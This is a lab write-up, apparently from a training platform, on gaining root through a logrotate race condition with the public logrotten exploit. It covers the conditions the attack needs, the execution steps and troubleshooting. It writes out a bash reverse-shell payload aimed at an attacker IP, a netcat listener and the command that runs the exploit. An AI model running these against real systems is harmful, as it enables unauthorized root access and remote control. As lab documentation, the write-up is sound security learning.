

Vulnerability Assessment & Learning Report: Logrotate Exploitation (logrotten)

1. Executive Summary

This report documents the mechanism, pre-requisites, and technical execution steps for exploiting a race-condition vulnerability in the Linux utility logrotate using the logrotten exploit tool. It captures real-time configuration challenges, library dependency conflicts (GLIBC), execution methodology, and practical troubleshooting steps encountered during the lab exercise.

2. Core Concepts: What is Logrotate?

logrotate is a standard Linux utility designed to prevent storage devices from filling up with massive log files. It automatically archives, compresses, or deletes older logs according to predefined criteria such as file age or file size.

- **Execution:** Usually run automatically as a root-privileged background cron job or timer script.
- **Global Configuration:** Located at /etc/logrotate.conf.
- **Application Configurations:** Stored inside the /etc/logrotate.d/ directory.
- **State Tracking:** Keeps a historical record of processed files at /var/lib/logrotate.status.

3. Vulnerability Details & Pre-requisites

The logrotten tool exploits a race condition during the file rotation process. When logrotate is configured to rotate files with the create directive in a directory where a low-privileged user has write access, an attacker can replace the log directory or file with a symbolic link (symlink) right at the exact millisecond the rotation occurs.

Strict Exploitation Requirements:

- **Write Permissions:** The low-privileged user (htb-student) must have write permissions to the folder containing the log file (e.g., /home/htb-student/backups/).
- **Privileged Execution:** The logrotate binary must run as a privileged account or root.
- **Configuration Match:** The target configuration file must explicitly use the create option instead of compress.
- **Vulnerable Versions:** 3.8.6, 3.11.0, 3.15.0, 3.18.0.

4. Step-by-Step Exploitation Process

Step 1: Enumeration & Target Discovery

Identify the writable log file being targeted by background routines:

```
# Found custom log paths under the user home directory
/home/htb-student/backups/access.log
```

Step 2: Prepare the Malicious Payload

Create a local script file housing the command to be executed once the privilege escalation triggers:

```
echo "bash -i >& /dev/tcp/10.10.15.154/9001 0>&1" > payload
```

Step 3: Spin Up a Network Listener

On the attack machine (Pwnbox/Kali), set up a Netcat listener to receive the connection on the matching payload port:

```
nc -nlvp 9001
```

Step 4: Execute the Race Condition Utility

Run the compiled binary pointing directly to the target log file and payload:

```
./log -p ./payload /home/htb-student/backups/access.log
```

5. Technical Roadblocks & Practical Fixes

Problem A: Forward-Compatibility Dynamic Linker Error

When executing an externally compiled binary, the OS rejected it with the following error:

```
./logrotten: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found
```

Root Cause: The exploit was compiled on a system with a newer GNU C Library version (GLIBC_2.34) than what the target target OS version possessed. GLIBC binaries are not forward-compatible.

The Fix: Resolved by downloading the raw source code (logrotten.c) and compiling natively directly on the target machine using the local C compiler:

```
gcc logrotten.c -o log
```

Problem B: Exploit Synchronization & Background Control

Because the target machine was controlled via a single terminal window, running the exploit in the foreground locked the console, preventing data from being written to trigger the log rotation.

The Fix: Utilized terminal job control. Suspended the running process using Ctrl + Z, and sent it to run asynchronously in the background using the bg command. This freed the command prompt to allow log generation while keeping the exploit scanner active:

```
# Paused with Ctrl+Zbg
cp /home/htb-student/backups/access.log.4 /home/htb-student/backups/access.log
```

Problem C: Input Lockout and Delayed Execution Hook

The exploit completed its race condition and successfully created the symlink pointing to /etc/bash_completion.d. However, the local keyboard input froze immediately afterward, and the Netcat listener did not catch the shell immediately because the payload script had yet to be sourced or executed by a system hook.

6. Updated Conclusion

While the exploit successfully won the race condition, swapped out the /home/htb-student/backups directory, and properly planted the malicious symlink script into /etc/bash_completion.d, execution synchronization issues

and a terminal input hang interrupted the process before the shell could land on our listener.

Due to these terminal stability issues and execution delays, we are halting the exploitation process for now. We will refer back to these documented configurations, clear our environment state, and attempt the lab challenge fresh during the next session.